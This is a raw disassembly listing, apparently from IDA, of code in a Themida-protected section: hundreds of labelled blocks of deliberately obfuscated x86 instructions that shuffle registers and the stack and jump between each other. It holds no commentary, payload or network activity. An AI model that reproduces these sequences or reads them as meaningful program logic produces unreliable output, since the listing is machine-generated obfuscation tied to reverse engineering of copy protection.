xor ecx, [esp] xor [esp], ecx push dword ptr [esp] pop eax add esp, 4 xchg eax, esi and esi, 3B6A6855h xor esi, 10602810h mov [edi+20h], esi mov esi, [esp] jmp loc_55DA11 ; --------------------------------------------------------------------------- loc_56F762: ; CODE XREF: Themida_:0056AFC0j pop ebx pop ebp mov esi, ecx pop ecx mov ebx, 53487260h xor ebx, esi pop esi jmp loc_563754 ; --------------------------------------------------------------------------- loc_56F774: ; CODE XREF: Themida_:00566C8Dj mov ecx, 12783255h shl ecx, 8 add ecx, 10B649F9h jmp loc_55E519 ; --------------------------------------------------------------------------- loc_56F787: ; CODE XREF: Themida_:00564EE4j push esp pop esi push ecx mov ecx, 4 add esi, ecx pop ecx add esi, 4 xchg esi, [esp] pop esp jmp loc_565791 ; --------------------------------------------------------------------------- loc_56F79E: ; CODE XREF: Themida_:005722B6j pop esi xor edx, ecx pop ecx jmp loc_568761 ; --------------------------------------------------------------------------- loc_56F7A7: ; CODE XREF: Themida_:00566077j mov esi, 2EE134BDh sub ebp, esi jmp loc_562BCE ; --------------------------------------------------------------------------- loc_56F7B3: ; CODE XREF: Themida_:00569F0Aj sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edi push 2C1D6703h pop edi xor edi, 11846D0Bh push edx mov edx, edi mov ebx, edx jmp loc_56B01B ; --------------------------------------------------------------------------- loc_56F7DB: ; CODE XREF: Themida_:0055EF8Cj mov ebp, [esp] add esp, 4 jmp loc_56E436 ; --------------------------------------------------------------------------- loc_56F7E6: ; CODE XREF: Themida_:005620D1j mov ebx, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_56CE15 ; --------------------------------------------------------------------------- loc_56F80A: ; CODE XREF: Themida_:00571EB8j pop ecx push edx push ebp push 31230829h pop ebp sub ebp, 468010E7h jmp loc_55FEB7 ; --------------------------------------------------------------------------- loc_56F81E: ; CODE XREF: Themida_:0056EB38j xor esi, 517133Bh add esi, 221051C3h shr esi, 2 add esi, 0CFA8FCF5h jmp loc_56AB71 ; --------------------------------------------------------------------------- loc_56F838: ; CODE XREF: Themida_:0056E5FCj pop ecx xchg ebx, [esp] pop esp mov [esp], ebx mov bl, 87h sub bl, 59h jmp loc_56C876 ; --------------------------------------------------------------------------- loc_56F84A: ; CODE XREF: Themida_:0056E41Aj mov eax, [esp] add esp, 4 push eax mov eax, 6F555AA0h jmp loc_57052E ; --------------------------------------------------------------------------- loc_56F85E: ; CODE XREF: Themida_:00571FD9j mov ebx, 0EF079C7h shl ebx, 2 add ebx, 446B4E49h sub ebx, 51FC30EBh jmp loc_56CAA5 ; --------------------------------------------------------------------------- loc_56F877: ; CODE XREF: Themida_:005710CAj push esi push edi mov edi, 25B57C01h push eax mov eax, 3DC31717h add edi, eax jmp loc_56DDF0 ; --------------------------------------------------------------------------- loc_56F88B: ; CODE XREF: Themida_:005663BDj pop edx jmp loc_567BAD ; --------------------------------------------------------------------------- loc_56F891: ; CODE XREF: Themida_:00570560j mov edx, ebp push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_55F4E7 ; --------------------------------------------------------------------------- loc_56F8AC: ; CODE XREF: Themida_:005676CEj push ecx push ebx jmp loc_56A73C ; --------------------------------------------------------------------------- lodsd sub esp, 4 jmp loc_569394 ; --------------------------------------------------------------------------- loc_56F8BF: ; CODE XREF: Themida_:0055DCEDj mov dl, 32h inc dl shr dl, 8 xor dl, 6Ch push ebp mov ebp, esp jmp loc_5641FD ; --------------------------------------------------------------------------- loc_56F8D1: ; CODE XREF: Themida_:00571BAAj pop ebp jmp loc_5680C6 ; --------------------------------------------------------------------------- loc_56F8D7: ; CODE XREF: Themida_:005629C1j xor esi, [esp] jmp loc_56AFDB ; --------------------------------------------------------------------------- loc_56F8DF: ; CODE XREF: Themida_:005600BAj xor ebp, [esp] pop esp push 0D24h jmp loc_55E6CA ; --------------------------------------------------------------------------- loc_56F8ED: ; CODE XREF: Themida_:00569F03j mov esp, [esp] mov [esp], edi jmp loc_57048F ; --------------------------------------------------------------------------- loc_56F8F8: ; CODE XREF: Themida_:005600C3j mov eax, 4 add ebp, eax pop eax jmp loc_570C2D ; --------------------------------------------------------------------------- loc_56F905: ; CODE XREF: Themida_:00564796j xor edi, 70B35665h jmp loc_5624B3 ; --------------------------------------------------------------------------- loc_56F910: ; CODE XREF: Themida_:00563B5Cj push ax push ecx mov ch, 38h mov al, ch pop ecx add bl, 8Fh sub bl, al sub bl, 8Fh mov ax, [esp] add esp, 2 sub bl, cl jmp loc_560415 ; --------------------------------------------------------------------------- loc_56F931: ; CODE XREF: Themida_:0055EF0Aj pop edx xchg eax, [esp] jmp loc_57145C ; --------------------------------------------------------------------------- loc_56F93A: ; CODE XREF: Themida_:0056340Dj sub eax, 6333CE0Ch jmp loc_56ADA6 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56F94C: ; CODE XREF: Themida_:00567C83j mov edx, 4EDB68C2h inc edx sub esp, 4 mov [esp], ebx mov ebx, 7F2851EDh jmp loc_562DCA ; --------------------------------------------------------------------------- loc_56F965: ; CODE XREF: Themida_:0056E456j mov ch, al mov dl, ch pop ecx push edx mov dl, ch mov al, dl pop edx mov ch, dl jmp loc_571140 ; --------------------------------------------------------------------------- loc_56F977: ; CODE XREF: Themida_:0056E134j xor ebp, [esp] pop esp bts [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56F986: ; CODE XREF: Themida_:0055DA2Cj pop edi pop dword ptr [esp] pop esp push 6714h mov [esp], ecx mov ecx, 5939440Bh jmp loc_563F37 ; --------------------------------------------------------------------------- loc_56F99D: ; CODE XREF: Themida_:00564C0Bj push ecx mov ch, 0FCh mov dh, ch pop ecx jmp loc_5633B1 ; --------------------------------------------------------------------------- loc_56F9A8: ; CODE XREF: Themida_:00568715j neg dword ptr [esp] jmp loc_55E41F ; --------------------------------------------------------------------------- loc_56F9B0: ; CODE XREF: Themida_:005637BAj shr bl, 7 xor bl, 0E8h push ecx mov cl, bl mov dl, cl jmp loc_56FC63 ; --------------------------------------------------------------------------- loc_56F9C0: ; CODE XREF: Themida_:0056B851j pop edx jmp loc_561D68 ; --------------------------------------------------------------------------- loc_56F9C6: ; CODE XREF: Themida_:00564C48j pop ecx jmp loc_56089C ; --------------------------------------------------------------------------- loc_56F9CC: ; CODE XREF: Themida_:0056FA23j mov ecx, [esp] add esp, 4 pop eax pop ebx dec dh not dh jmp loc_56670F ; --------------------------------------------------------------------------- loc_56F9DD: ; CODE XREF: Themida_:0055F1D0j add ecx, 4 push 1FB1h mov [esp], ebx jmp loc_56EA4D ; --------------------------------------------------------------------------- loc_56F9F0: ; CODE XREF: Themida_:005706F8j sub edx, 0CD33C58Bh jmp loc_569130 ; --------------------------------------------------------------------------- loc_56F9FB: ; CODE XREF: Themida_:00565D02j mov edx, eax pop eax jmp loc_570D06 ; --------------------------------------------------------------------------- loc_56FA03: ; CODE XREF: Themida_:0056BD3Aj push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx pop ebx add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi jmp loc_5720BE ; --------------------------------------------------------------------------- loc_56FA1F: ; CODE XREF: Themida_:0055E76Bj mov ch, ah mov dh, ch jmp loc_56F9CC ; --------------------------------------------------------------------------- loc_56FA28: ; CODE XREF: Themida_:00570324j pop edx jmp loc_56BD97 ; --------------------------------------------------------------------------- loc_56FA2E: ; CODE XREF: Themida_:005682E7j shl ecx, 5 sub ecx, 2E39EA9Eh push ecx push 7886h mov [esp], ebp jmp loc_5708E0 ; --------------------------------------------------------------------------- loc_56FA45: ; CODE XREF: Themida_:00564663j push eax mov eax, 59712226h xchg eax, ebp not ebp push eax push ebp pop eax pop ebp xchg eax, ebp dec ebp xchg eax, ebp and eax, 20131685h jmp loc_56BC23 ; --------------------------------------------------------------------------- loc_56FA5F: ; CODE XREF: Themida_:0056F51Cj push ax pushf jmp loc_56A746 ; --------------------------------------------------------------------------- loc_56FA67: ; CODE XREF: Themida_:0056F269j mov esi, 3919618Bh jmp loc_572210 ; --------------------------------------------------------------------------- loc_56FA71: ; CODE XREF: Themida_:00564D0Ej add esp, 4 xor eax, edi pop edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi jmp loc_55F1E5 ; --------------------------------------------------------------------------- loc_56FA92: ; CODE XREF: Themida_:0056AC7Cj pop ebx sub ebx, 3F310EB2h mov esi, ebx jmp loc_56FDD2 ; --------------------------------------------------------------------------- loc_56FAA0: ; CODE XREF: Themida_:0056EA30j neg al jmp loc_56918E ; --------------------------------------------------------------------------- loc_56FAA7: ; CODE XREF: Themida_:0056B441j and edi, 319971C6h xor edi, 52344623h jmp loc_5690D7 ; --------------------------------------------------------------------------- loc_56FAB8: ; CODE XREF: Themida_:0055E95Bj pop edi jmp loc_56027E ; --------------------------------------------------------------------------- loc_56FABE: ; CODE XREF: Themida_:0056FFF9j mov ax, [esp] push 3C67h mov [esp], ecx push esp pop ecx add ecx, 4 push 1B2Fh mov [esp], eax push edx push 4171FF4h jmp loc_56F63A ; --------------------------------------------------------------------------- loc_56FAE5: ; CODE XREF: Themida_:00560E32j mov edx, ebx pop ebx mov ebp, [esp] push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi push ebx mov ebx, 4 add ebp, ebx jmp loc_5616B0 ; --------------------------------------------------------------------------- loc_56FB04: ; CODE XREF: Themida_:0056BA67j mov [esp], esi push 11D6h mov [esp], eax jmp loc_56362D ; --------------------------------------------------------------------------- loc_56FB14: ; CODE XREF: Themida_:0056B571j push 56437D29h pop ecx jmp loc_562E99 ; --------------------------------------------------------------------------- loc_56FB1F: ; CODE XREF: Themida_:0056637Aj mov ebx, 78DC38D0h jmp loc_563431 ; --------------------------------------------------------------------------- loc_56FB29: ; CODE XREF: Themida_:00562BF5j dec edi jmp loc_560551 ; --------------------------------------------------------------------------- loc_56FB2F: ; CODE XREF: Themida_:0056BD6Dj add ebx, esi pop esi push 77B7h mov [esp], ebp mov ebp, 26AC7617h add ebx, ebp pop ebp add ebx, eax sub ebx, 26AC7617h jmp loc_566235 ; --------------------------------------------------------------------------- loc_56FB4F: ; CODE XREF: Themida_:00564E3Fj sub ebx, ecx mov ecx, [esp] jmp loc_568D22 ; --------------------------------------------------------------------------- loc_56FB59: ; CODE XREF: Themida_:00565975j push ecx mov ecx, 6F61EAC8h jmp loc_56BD5C ; --------------------------------------------------------------------------- loc_56FB64: ; CODE XREF: Themida_:0055FEE7j push ecx mov ch, 22h xor ch, 70h sub bl, ch pop ecx jmp loc_56D631 ; --------------------------------------------------------------------------- loc_56FB72: ; CODE XREF: Themida_:0055FBE4j not edx add edx, 0EE54F9ECh jmp loc_561BBB ; --------------------------------------------------------------------------- loc_56FB7F: ; CODE XREF: Themida_:0055F593j add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_567728 ; --------------------------------------------------------------------------- loc_56FB8F: ; CODE XREF: Themida_:005616E2j mov ebx, 18921499h sub eax, ebx pop ebx jmp loc_56AED5 ; --------------------------------------------------------------------------- loc_56FB9C: ; CODE XREF: Themida_:0056876Cj mov ecx, 424D0936h mov esi, ecx mov ecx, [esp] jmp loc_55FDA5 ; --------------------------------------------------------------------------- loc_56FBAB: ; CODE XREF: Themida_:00564A82j push esp pop eax add eax, 4 sub esp, 4 mov [esp], edx jmp loc_56E563 ; --------------------------------------------------------------------------- loc_56FBBD: ; CODE XREF: Themida_:005606D5j mov ebp, 78037679h sub ecx, ebp pop ebp push esi push 20CB0867h pop esi jmp loc_56C494 ; --------------------------------------------------------------------------- loc_56FBD1: ; CODE XREF: Themida_:00563FE3j mov ebp, esp push esi mov esi, 4 push 57DBh jmp loc_56D7BA ; --------------------------------------------------------------------------- loc_56FBE3: ; CODE XREF: Themida_:00564E5Cj mov ecx, esp add ecx, 4 jmp loc_56A4BF ; --------------------------------------------------------------------------- loc_56FBF0: ; CODE XREF: Themida_:0055E3D6j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56FBF5: ; CODE XREF: Themida_:0055EBE9j pop edi add esp, 4 add eax, 423A065Ah sub eax, 9DF2C0Bh sub eax, ebx jmp loc_56E5C1 ; --------------------------------------------------------------------------- loc_56FC0A: ; CODE XREF: Themida_:005644EEj add esp, 4 sub eax, 12FA6D7Ah sub eax, 0B705485h add eax, 4CF56CE3h add eax, edx sub eax, 4CF56CE3h jmp loc_56EF2C ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp pop esi jmp loc_5624F6 ; --------------------------------------------------------------------------- loc_56FC37: ; CODE XREF: Themida_:005615B7j mov [esp], ecx push ebx jmp loc_55E60D ; --------------------------------------------------------------------------- loc_56FC40: ; CODE XREF: Themida_:005677ACj push esi jmp loc_562122 ; --------------------------------------------------------------------------- loc_56FC46: ; CODE XREF: Themida_:0055F56Ej pop ebx xchg edx, esi mov edx, [esp] add esp, 4 shr esi, 8 shl esi, 3 add esi, 0FFFFFFFFh sub esi, 1 jmp loc_56A75A ; --------------------------------------------------------------------------- loc_56FC63: ; CODE XREF: Themida_:0056F9BBj mov ecx, [esp] jmp loc_57112A ; --------------------------------------------------------------------------- loc_56FC6B: ; CODE XREF: Themida_:0056BA33j sar word ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56FC75: ; CODE XREF: Themida_:00564945j xor edx, 719152C3h add ebp, edx pop edx pop ebx push ecx jmp loc_565FA3 ; --------------------------------------------------------------------------- loc_56FC85: ; CODE XREF: Themida_:005693A6j pop ebx add dword ptr [esp+4], 7EFD2BCBh push dword ptr [esp] jmp loc_56E30F ; --------------------------------------------------------------------------- loc_56FC96: ; CODE XREF: Themida_:00565E56j pop eax add ecx, ebp jmp loc_55F485 ; --------------------------------------------------------------------------- loc_56FC9E: ; CODE XREF: Themida_:00571529j and ebx, 14C87F40h shl ebx, 4 add ebx, 0B3780C04h mov ebp, ebx pop ebx sub ebx, ebp jmp loc_566DA3 ; --------------------------------------------------------------------------- loc_56FCB7: ; CODE XREF: Themida_:005661D4j mov ebp, 43211C29h not ebp not ebp add ebp, 3979E56Dh sub ecx, ebp pop ebp add ecx, ebx push esi mov esi, 374872A9h xor esi, 5BE9794Fh neg esi jmp loc_56DF54 ; --------------------------------------------------------------------------- loc_56FCDE: ; CODE XREF: Themida_:0056D070j inc esi push edx push edi push ebp mov ebp, 754A5B8Fh mov edi, 656F0F6Ah xor edi, ebp pop ebp mov edx, edi pop edi not edx or edx, 2E6565E0h shl edx, 5 neg edx xor edx, 0E372F540h add esi, edx pop edx jmp loc_560E7C ; --------------------------------------------------------------------------- loc_56FD0D: ; CODE XREF: Themida_:00572680j or ecx, 7AA11A17h or ecx, 57573516h jmp loc_568206 ; --------------------------------------------------------------------------- loc_56FD1E: ; CODE XREF: Themida_:00569E5Cj mov edi, 76FF0E0Bh push eax push 3DDC6E59h jmp loc_56A245 ; --------------------------------------------------------------------------- loc_56FD2E: ; CODE XREF: Themida_:00568864j neg ebx neg ebx or ebx, 34822C0Dh jmp loc_56B591 ; --------------------------------------------------------------------------- loc_56FD3D: ; CODE XREF: Themida_:0056E8F0j mov [esp], ebx push 6C87h mov [esp], eax push edx jmp loc_56DA49 ; --------------------------------------------------------------------------- loc_56FD4E: ; CODE XREF: Themida_:0056EEEAj xor eax, [esp] pop esp jmp loc_562948 ; --------------------------------------------------------------------------- loc_56FD57: ; CODE XREF: Themida_:0055E5CEj push ecx mov ch, bh jmp loc_570268 ; --------------------------------------------------------------------------- loc_56FD5F: ; CODE XREF: Themida_:0056408Bj mov edx, [esp] add esp, 4 jmp loc_56D28A ; --------------------------------------------------------------------------- loc_56FD6D: ; CODE XREF: Themida_:0056231Cj sub esi, 14B44AD7h inc esi neg esi jmp loc_5653B0 ; --------------------------------------------------------------------------- loc_56FD7B: ; CODE XREF: Themida_:0056A365j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp jmp loc_56EA02 ; --------------------------------------------------------------------------- loc_56FDA1: ; CODE XREF: Themida_:005685F7j add ecx, 0C63780F9h xor edx, ecx pop ecx jmp loc_56ED60 ; --------------------------------------------------------------------------- loc_56FDAF: ; CODE XREF: Themida_:0055E25Dj add ebp, 75F443DCh shr ebp, 4 not ebp not ebp add ebp, 40A2F16Bh mov ecx, ebp pop ebp push esi mov esi, 5EBE163Fh sub ecx, esi jmp loc_566E0D ; --------------------------------------------------------------------------- loc_56FDD2: ; CODE XREF: Themida_:0056FA9Bj pop ebx add eax, 73A749BDh add eax, esi sub eax, 73A749BDh mov esi, [esp] jmp loc_567967 ; --------------------------------------------------------------------------- loc_56FDE7: ; CODE XREF: Themida_:0056B19Aj pop edi jmp loc_571DE9 ; --------------------------------------------------------------------------- loc_56FDED: ; CODE XREF: Themida_:0056FE8Dj mov edi, 4 add esi, 44D057D6h add esi, edi sub esi, 44D057D6h jmp loc_563AE3 ; --------------------------------------------------------------------------- loc_56FE05: ; CODE XREF: Themida_:00565372j mov ecx, 4 add [esp+4], ecx pop ecx push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push edx jmp loc_55F057 ; --------------------------------------------------------------------------- loc_56FE27: ; CODE XREF: Themida_:00570FB7j pop edi pop esi jmp loc_56BEE4 ; --------------------------------------------------------------------------- loc_56FE2E: ; CODE XREF: Themida_:00572465j pop esi push 4108h mov [esp], ebx mov ebx, 7B572740h sub esp, 4 mov [esp], ecx mov ecx, 159D245Ah push eax mov eax, 47BB2974h jmp loc_561BD2 ; --------------------------------------------------------------------------- loc_56FE55: ; CODE XREF: Themida_:005668CBj add ecx, 7A0B2FC7h pop edi jmp loc_567FE5 ; --------------------------------------------------------------------------- loc_56FE61: ; CODE XREF: Themida_:0056512Cj add ebp, 4 jmp loc_56C044 ; --------------------------------------------------------------------------- loc_56FE6C: ; CODE XREF: Themida_:00569B40j mov ebp, 3777FA90h sub ebp, esi pop esi push edx jmp loc_5668DF ; --------------------------------------------------------------------------- loc_56FE7A: ; CODE XREF: Themida_:0056B58Cj pop edx add dword ptr [esp+4], 373601C4h pop ebp pop esi push 3993h mov [esp], edi jmp loc_56FDED ; --------------------------------------------------------------------------- loc_56FE92: ; CODE XREF: Themida_:00570132j push esi jmp loc_5712B1 ; --------------------------------------------------------------------------- loc_56FE98: ; CODE XREF: Themida_:00566C23j pop eax jmp loc_568725 ; --------------------------------------------------------------------------- loc_56FE9E: ; CODE XREF: Themida_:00565964j add esi, 4535048Fh jmp loc_56D6AF ; --------------------------------------------------------------------------- loc_56FEA9: ; CODE XREF: Themida_:0056435Cj push dword ptr [esp+4] push dword ptr [esp] mov eax, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_561330 ; --------------------------------------------------------------------------- loc_56FED7: ; CODE XREF: Themida_:0055DC4Ej push esp mov esi, [esp] add esp, 4 push eax jmp loc_56EF13 ; --------------------------------------------------------------------------- loc_56FEE7: ; CODE XREF: Themida_:00569BBCj mov edi, esp push ebx mov ebx, 2CF241FFh push edi mov edi, 2CF241FBh xor ebx, edi pop edi sub edi, 26BD3001h add edi, ebx push ebp mov ebp, 2EFB26E0h push esi mov esi, 774969AAh not esi jmp loc_56ADE7 ; --------------------------------------------------------------------------- loc_56FF13: ; CODE XREF: Themida_:0056C4D3j bt [esp], eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56FF1D: ; CODE XREF: Themida_:00563A23j or dh, ch pop cx xor dh, 0D8h add al, dh mov edx, [esp] add esp, 4 push edi push esp pop edi push ecx push 6F11h mov [esp], ebx push edx jmp loc_56D1FB ; --------------------------------------------------------------------------- loc_56FF3E: ; CODE XREF: Themida_:00564655j pop edx pop dword ptr [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56FF4F: ; CODE XREF: Themida_:0055E8A0j mov [esp], eax mov eax, esp add eax, 4 jmp loc_56780F ; --------------------------------------------------------------------------- loc_56FF5E: ; CODE XREF: Themida_:0056693Fj add edi, 3A7278BCh add edi, 2429FCFDh add ebp, edi pop edi dec ebp add ebp, 0B9E788FFh and esi, ebp jmp loc_55E51F ; --------------------------------------------------------------------------- loc_56FF7B: ; CODE XREF: Themida_:0056ADE2j add ecx, 4 jmp loc_570F95 ; --------------------------------------------------------------------------- loc_56FF86: ; CODE XREF: Themida_:00560940j dec edi jmp loc_56ECBF ; --------------------------------------------------------------------------- loc_56FF8C: ; CODE XREF: Themida_:0056E59Aj add esi, ecx add esi, 74ED1F07h sub esi, 7BB52DB5h jmp loc_560EBF ; --------------------------------------------------------------------------- loc_56FF9F: ; CODE XREF: Themida_:0056286Cj pop ecx not ecx xchg ecx, edi inc edi add edi, 797F7F42h add ebx, edi pop edi xor ebx, [esp] xor [esp], ebx jmp loc_56B3DB ; --------------------------------------------------------------------------- loc_56FFB9: ; CODE XREF: Themida_:005638D9j mov [esp], edx mov dl, bh mov ah, dl pop edx pop bx jmp loc_562172 ; --------------------------------------------------------------------------- push 7E80h jmp loc_560796 ; --------------------------------------------------------------------------- loc_56FFD2: ; CODE XREF: Themida_:00565165j mov ecx, 91E0CEDh add ecx, 1463FD2Ah and edi, ecx jmp loc_569E32 ; --------------------------------------------------------------------------- loc_56FFE4: ; CODE XREF: Themida_:00563372j add edx, ebp pop ebp push ecx mov ecx, 364A2B0Fh jmp loc_55F0FD ; --------------------------------------------------------------------------- loc_56FFF2: ; CODE XREF: Themida_:00562D3Dj xor [esp], ebp xor ebp, [esp] pop esp jmp loc_56FABE ; --------------------------------------------------------------------------- loc_56FFFE: ; CODE XREF: Themida_:0055E49Fj xor ebp, 0D8BD2A8Ch add eax, ebp pop ebp push 6E2Fh mov [esp], ebp sub esp, 4 mov [esp], edx jmp loc_56DED5 ; --------------------------------------------------------------------------- loc_57001D: ; CODE XREF: Themida_:0056E734j sub eax, edi sub eax, 6A605337h pop edi sub esi, eax pop eax push 132Dh jmp loc_563127 ; --------------------------------------------------------------------------- loc_570032: ; CODE XREF: Themida_:0056891Dj add ebx, 4 push ebp mov ebp, 7F0178EDh or ebp, 2B2B21E0h push ecx jmp loc_55E5A5 ; --------------------------------------------------------------------------- loc_57004A: ; CODE XREF: Themida_:00567792j sub eax, 5261E0h mov ecx, eax pop eax sub eax, ecx jmp loc_5672FC ; --------------------------------------------------------------------------- loc_570059: ; CODE XREF: Themida_:0055EF3Cj mov edi, 1 jmp loc_56DB24 ; --------------------------------------------------------------------------- loc_570063: ; CODE XREF: Themida_:00568F39j mov eax, 6C2A1693h push edi mov edi, eax mov ecx, edi pop edi pop eax push 36D5h mov [esp], ecx jmp loc_5613C3 ; --------------------------------------------------------------------------- loc_57007C: ; CODE XREF: Themida_:005657CAj mov al, cl pop ecx dec al jmp loc_5696DB ; --------------------------------------------------------------------------- loc_570086: ; CODE XREF: Themida_:0056C4E5j mov edi, [esp] jmp loc_561FEE ; --------------------------------------------------------------------------- loc_57008E: ; CODE XREF: Themida_:005721B2j shr esi, 4 push esi mov esi, esp jmp loc_5703BF ; --------------------------------------------------------------------------- loc_570099: ; CODE XREF: Themida_:005624E3j mov esp, [esp] jmp loc_55F6C1 ; --------------------------------------------------------------------------- loc_5700A1: ; CODE XREF: Themida_:005664CDj xor esi, 22561959h shl esi, 1 and esi, 592720D7h jmp loc_564AB1 ; --------------------------------------------------------------------------- loc_5700B4: ; CODE XREF: Themida_:0055F082j mov edi, [esp] add esp, 4 or ecx, 21E10A7Dh push ebx jmp loc_5706E3 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push 269Dh sub esp, 4 push esp pop dword ptr [esp] jmp loc_56F260 ; --------------------------------------------------------------------------- loc_5700E2: ; CODE XREF: Themida_:0055E0A8j mov ecx, [esp] jmp loc_569783 ; --------------------------------------------------------------------------- loc_5700EA: ; CODE XREF: Themida_:005628EAj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_55EF2F ; --------------------------------------------------------------------------- loc_5700FB: ; CODE XREF: Themida_:0055FBF2j mov esp, [esp] push ecx mov ecx, 280E7442h sub eax, ecx pop ecx push 1CEDh mov [esp], ecx jmp loc_55F5C8 ; --------------------------------------------------------------------------- loc_570114: ; CODE XREF: Themida_:0056151Bj mov ebx, esp add ebx, 4 jmp loc_572279 ; --------------------------------------------------------------------------- loc_570121: ; CODE XREF: Themida_:005637DBj sub ebx, edi pop edi sub ebx, 2ED74D34h jmp loc_561290 ; --------------------------------------------------------------------------- loc_57012F: ; CODE XREF: Themida_:0056C03Fj mov [esp], ebp jmp loc_56FE92 ; --------------------------------------------------------------------------- loc_570137: ; CODE XREF: Themida_:00570FF2j xor ebx, 5D5E4FF2h add edi, ebx pop ebx push edx jmp loc_563F88 ; --------------------------------------------------------------------------- loc_570146: ; CODE XREF: Themida_:0055E304j mov esi, 4C5964A3h not esi xor esi, 0B3A69B58h jmp loc_55DF40 ; --------------------------------------------------------------------------- loc_570158: ; CODE XREF: Themida_:00565ED9j sub bl, al add bl, 71h pop eax push ecx mov cl, 0DBh jmp loc_56B830 ; --------------------------------------------------------------------------- loc_570166: ; CODE XREF: Themida_:005695A3j and bh, 0EDh push ebx xchg dh, [esp+1] not dh xchg dh, [esp+1] jmp loc_56A1FE ; --------------------------------------------------------------------------- loc_570179: ; CODE XREF: Themida_:0056211Dj sub eax, edi pop edi push dword ptr [esp] jmp loc_56D4DB ; --------------------------------------------------------------------------- loc_570184: ; CODE XREF: Themida_:0056423Cj push dword ptr [esp] jmp loc_55ED65 ; --------------------------------------------------------------------------- loc_57018C: ; CODE XREF: Themida_:005653E2j pop eax sub esp, 4 mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_55E079 ; --------------------------------------------------------------------------- loc_5701A5: ; CODE XREF: Themida_:0056C048j add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_568421 ; --------------------------------------------------------------------------- loc_5701B6: ; CODE XREF: Themida_:00567B72j or esi, 253924BEh xor esi, 8AC195CCh sub edi, esi pop esi sub eax, edi mov edi, [esp] add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_571A94 ; --------------------------------------------------------------------------- loc_5701D8: ; CODE XREF: Themida_:00566389j mov ch, dl push ebx mov bh, ch push 4AEAh mov [esp], edx mov dh, bh mov al, dh pop edx mov ebx, [esp] add esp, 4 pop ecx pop edx mov dl, 0B5h sub dl, al mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55F598 ; --------------------------------------------------------------------------- loc_57020A: ; CODE XREF: Themida_:0056A569j neg ecx inc ecx sub ecx, 0B5F99FD4h add eax, 0EAE430Ch add eax, ecx sub eax, 0EAE430Ch pop ecx push 437Ch mov [esp], edi sub esp, 4 mov [esp], eax push ebx mov ebx, 4281209Bh mov eax, ebx mov ebx, [esp] add esp, 4 push 0 sub [esp], eax pop eax shl eax, 7 jmp loc_565492 ; --------------------------------------------------------------------------- loc_570250: ; CODE XREF: Themida_:0056F0E4j push ecx jmp loc_55E257 ; --------------------------------------------------------------------------- loc_570256: ; CODE XREF: Themida_:005708CAj mov esp, [esp] xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_56F3D8 ; --------------------------------------------------------------------------- loc_570268: ; CODE XREF: Themida_:0056FD5Aj push ebx push eax mov al, ch mov bh, al mov eax, [esp] add esp, 4 mov dl, bh pop ebx jmp loc_56006E ; --------------------------------------------------------------------------- loc_57027F: ; CODE XREF: Themida_:005723A7j mov [esp], ebx mov ebx, 7BC62CBh jmp loc_5645C4 ; --------------------------------------------------------------------------- loc_57028C: ; CODE XREF: Themida_:00563A36j push edi mov edi, 0FFFFFFFFh jmp loc_569DB3 ; --------------------------------------------------------------------------- loc_570297: ; CODE XREF: Themida_:00560359j pop ebx and dl, ch jmp loc_56AAC5 ; --------------------------------------------------------------------------- loc_57029F: ; CODE XREF: Themida_:00569C66j add eax, 4 add eax, 4 jmp loc_565860 ; --------------------------------------------------------------------------- loc_5702AC: ; CODE XREF: Themida_:0056EBE3j push 3536h jmp loc_571876 ; --------------------------------------------------------------------------- loc_5702B6: ; CODE XREF: Themida_:005625E2j pop edx push edx jmp loc_56D360 ; --------------------------------------------------------------------------- loc_5702BD: ; CODE XREF: Themida_:0056A2CCj push edx mov edx, 0E255FE2h mov esi, edx pop edx add esi, 5E04B6B1h push ebp mov ebp, 32004E7Ch xor ebp, 7A7574D6h shr ebp, 4 add ebp, 3147B983h add ebx, ebp pop ebp jmp loc_5638F4 ; --------------------------------------------------------------------------- loc_5702E9: ; CODE XREF: Themida_:0056E1D3j mov [esp], edx push ebx jmp loc_563ADD ; --------------------------------------------------------------------------- loc_5702F2: ; CODE XREF: Themida_:0056618Ej push dword ptr [esp] pop edi push 6430h mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_56CE48 ; --------------------------------------------------------------------------- loc_57031B: ; CODE XREF: Themida_:0056DD57j mov ecx, esp jmp loc_561520 ; --------------------------------------------------------------------------- loc_570322: ; CODE XREF: Themida_:00561A2Bj add eax, edx jmp loc_56FA28 ; --------------------------------------------------------------------------- loc_570329: ; CODE XREF: Themida_:0056548Dj push ebp mov ebp, 6A497FEAh jmp loc_57051B ; --------------------------------------------------------------------------- loc_570334: ; CODE XREF: Themida_:0056BEB5j push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_56570F ; 